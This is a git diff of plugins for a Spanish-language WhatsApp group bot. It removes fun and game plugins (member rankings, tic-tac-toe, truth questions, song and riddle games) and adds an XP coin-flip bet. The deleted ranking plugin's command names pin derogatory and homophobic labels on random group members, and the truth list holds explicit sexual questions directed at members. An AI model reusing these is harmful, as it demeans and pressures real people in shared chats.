-Que hermosa pareja 💖, me invitan a su Boda 🛐
-
-*_2.- ${user(c)} 💘 ${user(d)}_*
-🌹 Ustedes se merecen lo mejor del mundo 💞
-
-*_3.- ${user(e)} 💘 ${user(f)}_*
-Tan enamorados 😍, para cuando la familia 🥰
-
-*_4.- ${user(g)} 💘 ${user(h)}_*
-💗 Decreto que ustedes son la pareja del Año 💗
-
-*_5.- ${user(i)} 💘 ${user(j)}_*
-Genial! 💝, están de Luna de miel 🥵✨❤️🔥`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'top5parejas') {
-let top = `*_😍 Las 5 maravillosas parejas del grupo 😍_*
-
-*_1.- ${user(a)} 💘 ${user(b)}_*
-Que hermosa pareja 💖, me invitan a su Boda 🛐
-
-*_2.- ${user(c)} 💘 ${user(d)}_*
-🌹 Ustedes se merecen lo mejor del mundo 💞
-
-*_3.- ${user(e)} 💘 ${user(f)}_*
-Tan enamorados 😍, para cuando la familia 🥰
-
-*_4.- ${user(g)} 💘 ${user(h)}_*
-💗 Decreto que ustedes son la pareja del Año 💗
-
-*_5.- ${user(i)} 💘 ${user(j)}_*
-Genial! 💝, están de Luna de miel 🥵✨❤️🔥`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-}
-handler.help = handler.command = ['topgays', 'topotakus', 'topintegrantes', 'topintegrante', 'toplagrasa', 'topgrasa', 'toppanafrescos', 'toppanafresco', 'topshiposters', 'topshipost', 'toppajeros', 'toppajer@s', 'toplindos', 'toplind@s', 'topputos', 'topput@s', 'topfamosos', 'topfamos@s', 'topparejas', 'top5parejas' ]
-handler.tags = ['games']
-handler.group = true
-handler.money = 90
-handler.register = true
-export default handler
\ No newline at end of file
diff --git a/plugins/fun-ttt.js b/plugins/fun-ttt.js
deleted file mode 100644
index e635c2135..000000000
--- a/plugins/fun-ttt.js
+++ /dev/null
@@ -1,94 +0,0 @@
-import TicTacToe from '../lib/tictactoe.js'
-let handler = async (m, { conn, usedPrefix, command, text }) => {
-const fkontak = {
- "key": {
- "participants":"0@s.whatsapp.net",
- "remoteJid": "status@broadcast",
- "fromMe": false,
- "id": "Halo"
- },
- "message": {
- "contactMessage": {
- "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`
- }
- },
- "participant": "0@s.whatsapp.net"
-}
-
-conn.game = conn.game ? conn.game : {}
-if (Object.values(conn.game).find(room => room.id.startsWith('tictactoe') && [room.game.playerX, room.game.playerO].includes(m.sender))) throw `${lenguajeGB['smsAvisoAG']()}𝙏𝙤𝙙𝙖𝙫𝙞𝙖 𝙖𝙡𝙜𝙪𝙞𝙚𝙣 𝙚𝙨𝙩𝙖 𝙟𝙪𝙜𝙖𝙣𝙙𝙤 𝙚𝙣 𝙡𝙖 𝙨𝙖𝙡𝙖 𝙨𝙞 𝙦𝙪𝙞𝙚𝙧𝙚 𝙖𝙗𝙖𝙣𝙙𝙤𝙣𝙖𝙧 𝙚𝙨𝙘𝙧𝙞𝙗𝙖 *salir*\n𝙏𝙖𝙢𝙗𝙞𝙚𝙣 𝙥𝙪𝙚𝙙𝙚𝙨 𝙚𝙡𝙞𝙢𝙞𝙣𝙖𝙧 𝙡𝙖 𝙨𝙖𝙡𝙖 𝙪𝙨𝙖𝙣𝙙𝙤 𝙚𝙡 𝙘𝙤𝙢𝙖𝙣𝙙𝙤 *${usedPrefix}delttt*`
-if (!text) throw `*${lenguajeGB['smsAvisoFG']()}𝘿𝙚𝙗𝙚 𝙙𝙚 𝙖𝙜𝙧𝙚𝙜𝙖 𝙪𝙣 𝙣𝙤𝙢𝙗𝙧𝙚 𝙖 𝙡𝙖 𝙨𝙖𝙡𝙖\n𝙀𝙟𝙚𝙢𝙥𝙡𝙤\n${usedPrefix + command} Sala bot*`
-let room = Object.values(conn.game).find(room => room.state === 'WAITING' && (text ? room.name === text : true))
-if (room) {
-await conn.reply(m.chat, `${lenguajeGB['smsAvisoEG']()}𝘼𝙡𝙜𝙪𝙞𝙚𝙣 𝙨𝙚 𝙝𝙖 𝙪𝙣𝙞𝙙𝙤 𝙖 𝙡𝙖 𝙨𝙖𝙡𝙖 *${text}*\n𝙔𝙖 𝙥𝙪𝙚𝙙𝙚𝙣 𝙟𝙪𝙜𝙖𝙧!! 😼`, fkontak, m)
-//await conn.sendButton(m.chat, `${lenguajeGB['smsAvisoEG']()}𝘼𝙇𝙂𝙐𝙄𝙀𝙉 𝙎𝙀 𝙃𝘼 𝙐𝙉𝙄𝘿𝙊 𝘼 𝙇𝘼 𝙎𝘼𝙇𝘼 *${text}*\n𝙔𝘼 𝙋𝙐𝙀𝘿𝙀𝙉 𝙅𝙐𝙂𝘼𝙍!! 😼\n\n𝙎𝙊𝙈𝙀𝙊𝙉𝙀 𝙃𝘼𝙎 𝙅𝙊𝙄𝙉𝙀𝘿 𝙏𝙃𝙀 𝙍𝙊𝙊𝙈 *${text}*\n𝙔𝙊𝙐 𝘾𝘼𝙉 𝙋𝙇𝘼𝙔 𝙉𝙊𝙒!! 👀`, wm, null, [['𝙌𝙪𝙚 𝙂𝙖𝙣𝙚 𝙚𝙡 𝙈𝙚𝙟𝙤𝙧 🤝', '👻'] ], fkontak, m)
-await conn.reply(m.chat, `${lenguajeGB['smsAvisoRG']()}⭕️ *Clásico Juego del Gato, 3 en raya o tateti* ❌\n\n*¿Cómo jugar?*\n_Responde al Juego con un Número, el mensaje debe contener la posiscion en la que quieras estar (1,2,3,4,5,6,7,8,9)_`, fkontak, m)
-//await conn.sendButton(m.chat, `${lenguajeGB['smsAvisoRG']()}⭕️ *Clásico Juego del Gato o 3 en raya* ❌\n\n*¿Cómo jugar?*\n_Responde al Juego con un Número, el mensaje debe contener la posiscion en la que quieras estar (1,2,3,4,5,6,7,8,9)_\n\n*How to play?*\n_Answer the Game with a Number, the message must contain the position you want to be in (1,2,3,4,5,6,7,8,9)_`, wm, null, [['😽 𝙊𝙆 𝙂𝙍𝘼𝘾𝙄𝘼𝙎', 'ok'] ], fkontak, m)
-
-room.o = m.chat
-room.game.playerO = m.sender
-room.state = 'PLAYING'
-let arr = room.game.render().map(v => {
-return {
-X: '❎',
-O: '⭕',
-1: '1️⃣',
-2: '2️⃣',
-3: '3️⃣',
-4: '4️⃣',
-5: '5️⃣',
-6: '6️⃣',
-7: '7️⃣',
-8: '8️⃣',
-9: '9️⃣',
-}[v]})
-let str = `💖 𝙅𝙪𝙚𝙜𝙤 𝙩𝙖𝙩𝙚𝙩𝙞
-🫂 𝙅𝙪𝙜𝙖𝙙𝙤𝙧𝙚𝙨:
-*┈┈┈┈┈┈┈┈┈*
-❎ = @${room.game.playerX.split('@')[0]}
-⭕ = @${room.game.playerO.split('@')[0]}
-*┈┈┈┈┈┈┈┈┈*
- ${arr.slice(0, 3).join('')}
- ${arr.slice(3, 6).join('')}
- ${arr.slice(6).join('')}
-*┈┈┈┈┈┈┈┈┈*
-𝙏𝙪𝙧𝙣𝙤 𝙙𝙚:
-@${room.game.currentTurn.split('@')[0]}
-`.trim()
-
-if (room.x !== room.o) await conn.sendMessage(room.x, { text: str, mentions: this.parseMention(str)}, { quoted: fkontak, m })
-await conn.sendMessage(room.o, { text: str, mentions: conn.parseMention(str)}, { quoted: fkontak, m })
-
-} else {
-room = {
-id: 'tictactoe-' + (+new Date),
-x: m.chat,
-o: '',
-game: new TicTacToe(m.sender, 'o'),
-state: 'WAITING' }
-
-if (text) room.name = text
-let imgplay = `https://img.freepik.com/vector-premium/juego-tres-raya-icono-contorno-lineal-neon_7280-2422.jpg`
-conn.sendMessage(m.chat, { image: { url: imgplay }, caption: `😼 𝙅𝙪𝙚𝙜𝙤𝙨 𝙏𝙖𝙩𝙚𝙩𝙞
-
-🐈 𝙀𝙨𝙥𝙚𝙧𝙖𝙣𝙙𝙤 𝙖𝙡 𝙨𝙚𝙜𝙪𝙣𝙙𝙤 𝙟𝙪𝙜𝙖𝙙𝙤𝙧 𝙥𝙪𝙚𝙙𝙚 𝙞𝙣𝙜𝙧𝙚𝙨𝙖 𝙪𝙨𝙖𝙣𝙙𝙤 𝙚𝙡 𝙘𝙤𝙢𝙖𝙣𝙙𝙤
-*${usedPrefix + command} ${text}*
-
-𝙎𝙞 𝙦𝙪𝙞𝙚𝙧𝙚𝙨 𝙖𝙗𝙖𝙣𝙙𝙤𝙣𝙖𝙧 𝙡𝙖 𝙨𝙖𝙡𝙖 𝙪𝙨𝙖 𝙚𝙡 𝙘𝙤𝙢𝙖𝙣𝙙𝙤
-*${usedPrefix}delttt*` }, { mentions: conn.parseMention(text), quoted: fkontak })
-/*conn.sendButton(m.chat, `😼 𝙅𝙐𝙀𝙂𝙊 𝙏𝙍𝙀𝙎 𝙀𝙉 𝙍𝘼𝙔𝘼 | 𝙂𝘼𝙈𝙀
-
-🐈 𝙀𝙎𝙋𝙀𝙍𝘼𝙉𝘿𝙊 𝘼𝙇 𝙎𝙀𝙂𝙐𝙉𝘿𝙊 𝙅𝙐𝙂𝘼𝘿𝙊𝙍 𝙋𝙐𝙀𝘿𝙀 𝙄𝙉𝙂𝙍𝙀𝙎𝘼𝙍 𝘾𝙊𝙉 𝙀𝙇 𝘽𝙊𝙏𝙊𝙉 𝘿𝙀 𝘼𝘽𝘼𝙅𝙊 𝙊 𝙐𝙎𝘼𝙉𝘿𝙊 𝙀𝙇 𝘾𝙊𝙈𝘼𝙉𝘿𝙊
-*${usedPrefix + command} ${text}*
-
-𝙎𝙄 𝙌𝙐𝙄𝙀𝙍𝙀𝙎 𝘼𝘽𝘼𝙉𝘿𝙊𝙉𝘼𝙍 𝙇𝘼 𝙎𝘼𝙇𝘼 𝙐𝙎𝘼 𝙀𝙇 𝘾𝙊𝙈𝘼𝙉𝘿𝙊 *${usedPrefix}delttt*
-
-
-𝙒𝘼𝙄𝙏𝙄𝙉𝙂 𝙁𝙊𝙍 𝙏𝙃𝙀 𝙎𝙀𝘾𝙊𝙉𝘿 𝙋𝙇𝘼𝙔𝙀𝙍 𝙔𝙊𝙐 𝘾𝘼𝙉 𝙀𝙉𝙏𝙀𝙍 𝙒𝙄𝙏𝙃 𝙏𝙃𝙀 𝘽𝙐𝙏𝙏𝙊𝙉 𝘽𝙀𝙇𝙊𝙒 𝙊𝙍 𝙐𝙎𝙄𝙉𝙂 𝙏𝙃𝙀 𝘾𝙊𝙈𝙈𝘼𝙉𝘿
-*${usedPrefix + command} ${text}*
-
-𝙄𝙁 𝙔𝙊𝙐 𝙒𝘼𝙉𝙏 𝙏𝙊 𝙇𝙀𝘼𝙑𝙀 𝙏𝙃𝙀 𝙍𝙊𝙊𝙈 𝙐𝙎𝙀 𝙏𝙃𝙀 𝘾𝙊𝙈𝙈𝘼𝙉𝘿 *${usedPrefix}delttt*`, wm, imgplay, [['😎 𝙐𝙉𝙄𝙍𝙈𝙀 𝘼𝙇 𝙅𝙐𝙀𝙂𝙊 | 𝙅𝙊𝙄𝙉 𝙂𝘼𝙈𝙀', `${usedPrefix + command} ${text}`]], fkontak, m, { mentions: conn.parseMention(text) })*/
-conn.game[room.id] = room
-}}
-handler.command = /^(tictactoe|ttc|ttt|xo)$/i
-export default handler
diff --git a/plugins/fun-verdad.js b/plugins/fun-verdad.js
deleted file mode 100644
index a5ec440eb..000000000
--- a/plugins/fun-verdad.js
+++ /dev/null
@@ -1,175 +0,0 @@
-let handler = async (m, { conn, usedPrefix }) => {
-conn.reply(m.chat,`╭━━━━[ 𝙑𝙀𝙍𝘿𝘼𝘿 🤔 ]━━━━⬣\n*“${pickRandom(global.bucin)}”*\n╰━━━━━━[ ${vs} ]━━━━━⬣`, m)}
-/*conn.sendHydrated(m.chat, `╭━━━━[ 𝙑𝙀𝙍𝘿𝘼𝘿 🤔 ]━━━━⬣\n*“${pickRandom(global.bucin)}”*\n╰━━━━━━[ ${vs} ]━━━━━⬣`, wm, null, md, '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', null, null, [
-['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 🧐', `${usedPrefix}reto`],
-['𝙏𝙤𝙥𝙨 🏆', `${usedPrefix}top`],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', `${usedPrefix}menu`]
-], m,)}*/
-
-handler.help = ['verdad']
-handler.tags = ['fun']
-handler.command = /^verdad/i
-handler.fail = null
-export default handler
-
-function pickRandom(list) {
- return list[Math.floor(list.length * Math.random())]
-}
-
-global.verdad = [
-"¿Alguna vez te ha gustado alguien? ¿Cuánto tiempo?",
- "Si es posible o si quieres, en gc / fuera de gc, ¿con quién harás amistad? (Puede ser diferente / del mismo tipo)",
- "¿cual es tu mas grande miedo?",
- "¿Alguna vez te ha gustado alguien y has sentido a esa persona como tú también?",
- "¿Cuál es el nombre del exnovio de tu amiga que una vez te gustó en secreto?",
- "¿Alguna vez has robado el dinero de tu madre o de tu padre? ¿La razón?",
- "lo que te hace feliz cuando estás triste",
- "¿Alguna vez has sido amor no correspondido? ¿Si has estado con quién? ¿Cómo se siente brou?",
- "¿Alguna vez has tenido una aventura con alguien?",
- "lo más temido",
- "quién es la persona más influyente en tu vida",
- "qué orgullo tienes este año",
- "quién es la persona que puede enfermarte",
- "quien es la persona que alguna vez te puso cachondo",
- "(para los musulmanes) ¿nunca has rezado en todo el día?",
- "¿Quién es el más cercano a su tipo de pareja ideal aquí",
- "¿Con quién te gusta jugar?",
- "¿Alguna vez has rechazado a alguien? ¿Por qué?",
- "Menciona el incidente que te hizo daño y que aún recuerdas",
- "¿Qué logros has obtenido este año?",
- "¿Cuál es tu peor hábito en la escuela?", "¿Qué programa de televisión odias más? ¡Da la razón!", "¿Cuál es el vestido más feo (en su opinión) que ha usado y cuándo lo usó?", "¿Qué es lo peor (chisme) que has dicho sobre tu amigo?","¿Qué es lo más vergonzoso de ti?"," ¿Qué es lo primero que ves cuando miras a otra persona (del sexo opuesto)?",
-"¿Qué es lo primero que te viene a la mente cuando te miras al espejo?","¿Que es lo mas tonto que has hecho en tu vida?"," ¿Cuál es el peor sueño que has tenido?"," ¿Cuál es el sueño más loco que puedes recordar hasta ahora?",
-" ¿Cuál es tu peor rasgo en tu opinión?",
-" ¿Qué rasgo te gustaría cambiar de ti mismo?",
-" ¿Qué rasgo te gustaría cambiar en tu amigo?",
-" ¿Qué harías si tu novio te dijera que tienes mala nariz o dedos?",
-" ¿En qué piensas antes de dormir? ej .: fantasear con una pareja, etc.",
-"¿Qué crees que se destaca más de ti?"," ¿Qué parte del cuerpo de tu amigo te gusta más y desearías tener?",
-"¿Qué parte de tu cuerpo odias más?"," De todas las clases de la escuela, ¿a qué clase le gustaría ingresar y qué clase le gustaría evitar?",
-"¡Describe a tu amigo más cercano!"," ¡Descríbete en una palabra!"," ¿Qué películas y canciones te han hecho llorar?",
-" ¿Qué es algo que has mantenido en secreto hasta ahora y nadie lo ha descubierto?",
-" ¿Qué es lo más romántico que alguien (del sexo opuesto) te ha hecho o regalado?",
-"¿Qué es lo más desagradable que has experimentado?",
-" Si nacieras de nuevo y tuvieras que ser uno de tus amigos, ¿a quién elegirías ser?",
-" Si tienes superpoder / superpoder, ¿qué quieres hacer?",
-" Si el apocalipsis llega pronto, ¿qué haces?",
-" Si te pidieran que te sometieras a una cirugía plástica con una muestra de rostro de tu compañero de clase, ¿a quién imitarías?",
-" Alguna vez has robado algo?",
-" ¿Tiene miedo a morir? ¿Por qué?",
-" ¿Cuándo fue la última vez que lloraste y por qué?",
-" ¿Cuáles son tus habilidades especiales?",
-" ¿Cómo te puede gustar la persona que te gusta?",
-" ¿Cuál crees que es un buen rasgo de tu amigo más cercano que él o ella no conozca?",
-" ¿Con qué tipo de persona te gustaría casarte algún día?",
-" En tu opinión, ¿cuál es el trabajo más atractivo para el amigo que está sentado a tu lado? ¿Y por qué?",
-" ¿Con quién quieres intercambiar por un día? (amigos más cercanos que ambos conocen) y por qué",
-" ¿Alguna vez has esperado en secreto que la relación de alguien con su novia se rompiera? ¿Quién?",
-" ¿Prefiere AMIGAS o AMIGOS? ¿Por qué?",
-" ¿Qué cita recuerdas más y te gusta?",
-" ¿Qué secretos nunca les has contado a tus amigos hasta ahora?",
-" ¿Quiénes son sus verdaderos modelos a seguir?",
-" ¿Cuál de tus amigos crees que es matre?",
-" ¿Cuál de tus amigos crees que tiene menos corte de pelo?",
-" ¿Cuál de tus amigos es el más fotogénico? ",
-" ¿Quién es tu mejor ex? ¡¿Y por qué rompieron ?!",
-" ¿Cómo se llama el artista con el que hablaste en secreto?",
-" ¿Cómo se llamaba el profesor que te gustaba?",
-" ¿Cuál es el nombre de la exnovia de tu amigo que te ha gustado en secreto?",
-" ¿Cuál es el nombre de la persona (del sexo opuesto) que crees que sería divertido ser novia?",
-" ¿Cuál es el nombre de la persona que odias, pero crees que le gustas a esa persona (no necesariamente del sexo opuesto)?",
-" ¿Cuál es el nombre de la persona a la que has estado señalando en secreto?",
-" ¿Quién es la persona (del sexo opuesto) que más se te pasa por la cabeza?",
-" ¿Quién es la persona más molesta entre tus amigos? ¡la razón!",
-" ¿A quién de tus amigos crees que debería renovarse?",
-" ¿Quién está más cerca de tu pareja ideal aquí?",
-"Padre o madre",
-"La parte del cuerpo que no te gusta",
-"¿Alguna vez has hecho trampa?",
-"¿Alguna vez te han besado?",
-"¿Qué es lo primero que harías si te despertaras como del sexo opuesto?",
-"¿Alguna vez has dejado que alguien más se meta en problemas por algo que hiciste?",
-"¿Qué es lo más embarazoso que has hecho en tu vida?",
-" ¿Cuál es la razón más ridícula por la que has roto con alguien?",
-" ¿Cuál es el peor hábito que tienes?",
-" ¿Cuál crees que es tu mejor característica? ¿Y que es lo peor?",
-" ¿Cuál es la cosa más valiente que has hecho?",
-" ¿Cuándo fue la última vez que mojaste la cama?",
-" ¿Con qué sueñas más sobre dormir?",
-" Si va a ganar dinero ilegalmente, ¿cómo lo hace?",
-" ¿Qué cosas infantiles sigues haciendo?",
-" Si fueras ciego, ¿quién sería tu perro guía?",
-" ¿Qué es lo que más te impresiona?",
-" Si se le permitiera usar solo 3 palabras durante el resto de la noche a partir de ahora, ¿cuál sería?",
-" Si fueras un dictador, ¿qué ley promulgarías primero?",
-"Si vivieras durante la era nazi, ¿quién serías?",
-"¿Cuál fue la experiencia más vergonzosa en la escuela / tiempo de estudio / educación / el año pasado?",
-"¿Cuál es el mayor error de tu vida?",
-"¿Qué no harías nunca, incluso si supieras que solo te quedan 12 horas de vida?",
-" ¿Qué delitos ha cometido?",
-" Cuéntame un secreto de tu infancia.",
-" ¿Cuál es su mayor representante (secreto)?",
-" ¿Qué quieres hacer conmigo… ( x persona), si luego puedes borrar su memoria (él,…)?",
-" ¿Qué es lo peor que le has hecho a alguien?",
-" ¿Quién te gusta más?",
-"¿Alguna vez te has enamorado de alguno de los presentes?",
-" Si fueras un vampiro, ¿a cuál de nosotros morderías ahora?",
-" ¿Ha defecado alguna vez en público?",
-" ¿Cuál es tu fantasía más oscura?",
-" ¿Qué es lo mejor que has tenido con alguien más?",
-" ¿Cuál es el mayor desvío para ti?",
-" ¿Qué es lo que más te gusta de tu cuerpo y qué es lo más feo?",
-" ¿A quien te gustaría ver desnuda?",
-" ¿Quién en esta ronda puede enamorarte?",
-" ¿Alguna vez has tenido un sueño erótico donde sucedió alguien de este grupo?",
-" Si te vas a tatuar en el área genital, ¿que habrá allí?",
-" ¿Qué es más importante en una relación: el sexo o el amor?",
-" ¿Crees que el sexo es genial, bueno, bueno, divertido a veces, o realmente no te importa?",
-" ¿Qué te hace realmente amar?",
-"¿Cuántas veces a la semana / mes tiene relaciones sexuales y con qué frecuencia desea tener relaciones sexuales?",
-" ¿Con cuántas parejas sexuales te has acostado?",
-" ¿Qué parte del cuerpo te hace más?",
-" ¿Cómo, dónde y con quién estuviste primero?",
-" ¿Qué importancia tienen para ti los juegos previos prolongados?",
-" ¿Qué debe hacer un hombre o una mujer para seducirte?",
-" ¿Alguna vez has tenido sexo con un buen amigo?",
-" ¿Alguna vez ha tenido relaciones sexuales con alguno de estos grupos, excepto con su pareja?",
-"¿Qué animal se adapta mejor a ti y por qué?",
-" ¿Cuál es tu peor cita?",
-" ¿A quién quieres besar ahora?",
-" ¿Cuál es tu oscura fantasía secreta?",
-" ¿Prefieres tatuarte el culo o perforarte la lengua?",
-" ¿Eres siempre leal?",
-" ¿Tienes un enamoramiento adolescente?",
-" ¿De qué persona te enamoraste?",
-" ¿Con qué celebridad te gustaría salir?",
-" ¿Cuál fue el momento más embarazoso de tu vida?",
-" ¿Qué boca te gusta más del grupo de aquí?",
-" ¿Qué jugador tiene la mano más hermosa?",
-" ¿Dónde fue tu primer beso?",
-" ¿A quién del grupo te gustaría besar más?",
-" ¿Quién en la mesa es quizás el más divertido?",
-" ¿Cuál es el mayor error de tu vida?",
-" ¿Te pasó algo vergonzoso en una cita?",
-" ¿Ha estado alguna vez en contacto con drogas?",
-" ¿A qué persona quieres besar ahora?",
-" ¿Cuándo fue la última vez que estuvo borracho?",
-" ¿Alguna vez has hecho trampa en un examen escolar?",
-" ¿Has robado algo en el pasado?",
-" ¿Roncas por la noche?",
-" ¿Cuales tu cancion favorita?",
-" ¿Con qué jugadores comerciará durante 1 semana y por qué?",
-" Te mudaste a una isla desierta, ¿a quién te llevaste de aquí?",
-" ¿A que temes más?",
-" ¿Dónde te afeitas en todas partes?",
-"¿Tienes un apodo?",
-" ¿Miras en el baño antes de lavarte?",
-"¿Quién te dio la peor angustia?",
-" Cuantas veces te has besado",
-"¿Qué es lo más embarazoso que te ha pasado?",
-"¿Cuántos chicos / chicas has besado?",
-"¿De quien estas enamorado(a) ?",
-"Que estrella te gusta",
-"¿Empezaste algo con XY (insertar nombre)?",
-"Alguna vez has robado algo?"
-
-]
diff --git a/plugins/game-_cancion.js b/plugins/game-_cancion.js
deleted file mode 100644
index f90da4854..000000000
--- a/plugins/game-_cancion.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import similarity from 'similarity'
-const threshold = 0.72
-let handler = {
-async before(m) {
-let id = m.chat
-if (!m.quoted || !m.quoted.fromMe || !m.quoted.isBaileys || !/ADIVINA EL TITULO DE LA CANCION/i.test(m.quoted.text)) return !0
-this.tebaklagu = this.tebaklagu ? this.tebaklagu : {}
-if (!(id in this.tebaklagu)) return m.reply('El juego ha terminado')
-if (m.quoted.id == this.tebaklagu[id][0].id) {
-let json = JSON.parse(JSON.stringify(this.tebaklagu[id][1]))
-if (m.text.toLowerCase() == json.jawaban.toLowerCase().trim()) {
-global.db.data.users[m.sender].exp += this.tebaklagu[id][2]
-m.reply(`✅Correcto!\n+${this.tebaklagu[id][2]} XP`)
-clearTimeout(this.tebaklagu[id][3])
-delete this.tebaklagu[id]
-} else if (similarity(m.text.toLowerCase(), json.jawaban.toLowerCase().trim()) >= threshold) m.reply(`Casii!`)
-else m.reply(`❌Incorrecto!`)
-}
-return !0
-},
-exp: 0
-}
-export default handler
diff --git a/plugins/game-acertijo.js b/plugins/game-acertijo.js
deleted file mode 100644
index b06fd5480..000000000
--- a/plugins/game-acertijo.js
+++ /dev/null
@@ -1,38 +0,0 @@
-import fs from 'fs'
-
-let timeout = 60000
-let poin = 500
-
-let handler = async (m, { conn, usedPrefix }) => {
- conn.tekateki = conn.tekateki ? conn.tekateki : {}
- let id = m.chat
- if (id in conn.tekateki) {
- conn.reply(m.chat, 'Todavía hay acertijos sin responder en este chat', conn.tekateki[id][0])
- throw false
- }
- let tekateki = JSON.parse(fs.readFileSync(`./src/game/acertijo.json`))
- let json = tekateki[Math.floor(Math.random() * tekateki.length)]
- let _clue = json.response
- let clue = _clue.replace(/[A-Za-z]/g, '_')
- let caption = `
-ⷮ *${json.question}*
-
-*• Tiempo:* ${(timeout / 1000).toFixed(2)} segundos
-*• Bono:* +${poin} Exp
-`.trim()
- conn.tekateki[id] = [
- await conn.reply(m.chat, caption, m),
- json, poin,
- setTimeout(async () => {
- if (conn.tekateki[id]) await conn.reply(m.chat, `Se acabó el tiempo!\n*Respuesta:* ${json.response}`, conn.tekateki[id][0])
- delete conn.tekateki[id]
- }, timeout)
- ]
-}
-
-handler.help = ['acertijo']
-handler.tags = ['game']
-handler.command = /^(acertijo|acert|pregunta|adivinanza|tekateki)$/i
-handler.register = true
-
-export default handler
diff --git a/plugins/game-acertijo_resp.js b/plugins/game-acertijo_resp.js
deleted file mode 100644
index 4b77b0633..000000000
--- a/plugins/game-acertijo_resp.js
+++ /dev/null
@@ -1,26 +0,0 @@
-import similarity from 'similarity'
-
-const threshold = 0.72
-let handler = m => m
-handler.before = async function (m) {
- let id = m.chat
- if (!m.quoted || !m.quoted.fromMe || !m.quoted.isBaileys || !/^ⷮ/i.test(m.quoted.text)) return !0
- this.tekateki = this.tekateki ? this.tekateki : {}
- if (!(id in this.tekateki)) return m.reply('Ese acertijo ya ha terminado!')
- if (m.quoted.id == this.tekateki[id][0].id) {
- let json = JSON.parse(JSON.stringify(this.tekateki[id][1]))
- // m.reply(JSON.stringify(json, null, '\t'))
- if (m.text.toLowerCase() == json.response.toLowerCase().trim()) {
- global.db.data.users[m.sender].exp += this.tekateki[id][2]
- m.reply(`*Respuesta correcta!*\n+${this.tekateki[id][2]} Exp`)
- clearTimeout(this.tekateki[id][3])
- delete this.tekateki[id]
- } else if (similarity(m.text.toLowerCase(), json.response.toLowerCase().trim()) >= threshold) m.reply(`Casi lo logras!`)
- else m.reply('Respuesta incorrecta!')
- }
- return !0
-}
-
-handler.exp = 0
-
-export default handler
diff --git a/plugins/game-cancion.js b/plugins/game-cancion.js
deleted file mode 100644
index d7fa8a794..000000000
--- a/plugins/game-cancion.js
+++ /dev/null
@@ -1,46 +0,0 @@
-import fetch from 'node-fetch'
-import axios from 'axios'
-let timeout = 60000
-let poin = 1000
-let handler = async (m, { conn, usedPrefix }) => {
-conn.tebaklagu = conn.tebaklagu ? conn.tebaklagu : {}
-let id = m.chat
-if (id in conn.tebaklagu) {
-conn.reply(m.chat, 'Todavía hay canciones sin respuesta en este chat.', conn.tebaklagu[id][0])
-throw false
-} //5LTV57azwaid7dXfz5fzJu
-let res = await fetchJson(`https://fatiharridho.github.io/tebaklagu.json`)
-let json = res[Math.floor(Math.random() * res.length)]
-//let res = await fetch(global.API('xteam', '/game/tebaklagu/', { id: '0ISD8mk5kiv1YC5884lISM' }, 'APIKEY'))
-//if (res !== 200) throw 'Error'
-//let result = await res.json()
-//let json = result.result
-let caption = `
-ADIVINA EL TITULO DE LA CANCION
-Tiempo ${(timeout / 1000).toFixed(2)} segundos
-Escribe *${usedPrefix}pista* Para obtener una pista
-Premio: ${poin} XP
-RESPONDE A ESTE MENSAJE CON LAS RESPUESTAS!`.trim()
-conn.tebaklagu[id] = [
-await m.reply(caption),
-json, poin,
-setTimeout(() => {
-if (conn.tebaklagu[id]) conn.reply(m.chat, `Se acabó el tiempo!\nLa respuesta es ${json.jawaban}`, conn.tebaklagu[id][0])
-delete conn.tebaklagu[id]
-}, timeout)
-]
-let aa = await conn.sendMessage(m.chat, { audio: { url: json.link_song }, fileName: `error.mp3`, mimetype: 'audio/mp4' }, { quoted: m })
-if (!aa) return conn.sendFile(m.chat, json.link_song, 'coba-lagi.mp3', '', m)
-}
-handler.help = ['tebaklagu']
-handler.tags = ['game']
-handler.command = /^cancion|canción$/i
-export default handler
-async function fetchJson(url, options) {
-try {
-options ? options : {}
-const res = await axios({ method: 'GET', url: url, headers: {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36'}, ...options })
-return res.data
-} catch (err) {
-return err
-}}
diff --git a/plugins/game-cf.js b/plugins/game-cf.js
new file mode 100644
index 000000000..1963621e5
--- /dev/null
+++ b/plugins/game-cf.js
@@ -0,0 +1,40 @@
+const handler = async (m, { conn, args }) => {
+const bet = parseInt(args[0], 10);
+const cooldown = 30_000;
+const now = Date.now();
+if (!bet || bet <= 0) return m.reply('❌ Ingresa una cantidad válida para apostar.');
+const res = await m.db.query('SELECT exp, wait FROM usuarios WHERE id = $1', [m.sender]);
+const user = res.rows[0];
+if (!user || user.exp < bet) return m.reply(`❌ No tienes suficiente experiencia (exp) para esta apuesta. Solo tienes ${formatNumber(user?.exp || 0)} XP.`);
+
+const last = Number(user.wait) || 0;
+const remaining = last + cooldown - now;
+if (now - last < cooldown) return conn.fakeReply(m.chat, `*🕓 Calma crack 🤚, Espera ${msToTime(remaining)} antes de volver usar en comando*`, m.sender, `ᴺᵒ ʰᵃᵍᵃⁿ ˢᵖᵃᵐ`, 'status@broadcast');
+
+const outcome = Math.random() < 0.5 ? 'cara' : 'cruz';
+const win = outcome === 'cara';
+const newExp = win ? user.exp + bet * 2 : user.exp - bet;
+await m.db.query('UPDATE usuarios SET exp = $1, wait = $2 WHERE id = $3', [newExp, now, m.sender]);
+return m.reply(`${win ? '🎉' : '💀'} La moneda cayó en *${outcome}* y ${win ? `ganaste *${formatNumber(bet * 2)}* XP.` : `perdiste *${formatNumber(bet)}* XP.`}`);
+};
+handler.help = ['cf '];
+handler.tags = ['game'];
+handler.command = ['cf'];
+handler.register = true;
+
+export default handler;
+
+function msToTime(duration) {
+const milliseconds = parseInt((duration % 1000) / 100);
+let seconds = Math.floor((duration / 1000) % 60);
+let minutes = Math.floor((duration / (1000 * 60)) % 60);
+let hours = Math.floor((duration / (1000 * 60 * 60)) % 24);
+hours = (hours < 10) ? '0' + hours : hours;
+minutes = (minutes < 10) ? '0' + minutes : minutes;
